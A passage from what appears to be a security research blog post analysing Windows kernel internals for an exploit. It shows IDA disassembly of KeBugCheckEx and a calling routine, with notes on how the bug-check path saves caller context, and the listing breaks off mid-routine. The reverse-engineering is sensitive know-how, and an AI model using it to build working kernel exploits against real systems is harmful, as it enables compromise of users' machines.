&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA2B&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-80h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA30&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-70h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA35&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-60h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm13&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA3A&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-50h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA3F&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-40h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm15&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA44&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA47&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA4B&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA4F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA53&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r13&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA57&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA5B&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r15&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA5F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA64&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckEx&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x2-kebugcheckex"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; KeBugCheckEx&lt;/h2&gt;
&lt;p&gt;This routine is about a little guy that lives in a blue world, and all day and all night and everything he sees is just blue. It paints the screen blue and reboots.&lt;/p&gt;
&lt;iframe src="https://open.spotify.com/embed/track/2yAVzRiEQooPEJ9SYx11L3" width="500" height="80" frameborder="0" allowtransparency="true" allow="encrypted-media"&gt;&lt;/iframe&gt;
&lt;p&gt;Jokes aside, although this routine may be mainly responsible for displaying a bluescreen to the user and rebooting, it does a lot of processing before that, so no, not that simple. This is where the magic of our little exploit lives so let&amp;rsquo;s analyse the routine and every little detail associated with it.&lt;/p&gt;
&lt;p&gt;It starts with disabling interrupts and saving caller context together with processor state to the processor control block, the seemingly &amp;ldquo;weird&amp;rdquo; modifications on the context following the calls is to make sure the saved Rcx, Rsp, Rip, EFlags reflects the caller state and not the bug-check routine itself.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10A0&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckEx&lt;/span&gt; &lt;span class="no"&gt;proc&lt;/span&gt; &lt;span class="no"&gt;near&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: CcGetDirtyPagesHelper+45F
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10A0&lt;/span&gt; &lt;span class="c1"&gt;; CcUnpinFileDataEx+3CE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10A0&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10A5&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10AA&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10AF&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10B4&lt;/span&gt; &lt;span class="no"&gt;pushfq&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10B5&lt;/span&gt; &lt;span class="no"&gt;sub&lt;/span&gt; &lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10B9&lt;/span&gt; &lt;span class="no"&gt;cli&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10BA&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10C3&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="no"&gt;C0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10CA&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;RtlCaptureContext&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10CF&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10D8&lt;/span&gt; &lt;span class="no"&gt;add&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10DF&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KiSaveProcessorControlState&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10E4&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10ED&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="no"&gt;C0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10F4&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C10F9&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1100&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1105&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1109&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckRetPtr&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1110&lt;/span&gt; &lt;span class="no"&gt;cmp&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1115&lt;/span&gt; &lt;span class="no"&gt;jnz&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckEx_Call&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1117&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C111C&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1123&lt;/span&gt; &lt;span class="no"&gt;jmp&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck_Call_0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1125&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckEx_Call&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: .text:00000001401C1115↑j
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1125&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C112A&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;KeBugCheckEx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1131&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;00000001401&lt;/span&gt;&lt;span class="nf"&gt;C1131&lt;/span&gt; &lt;span class="no"&gt;KeBugCheck_Call_0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: .text:00000001401C1123↑j
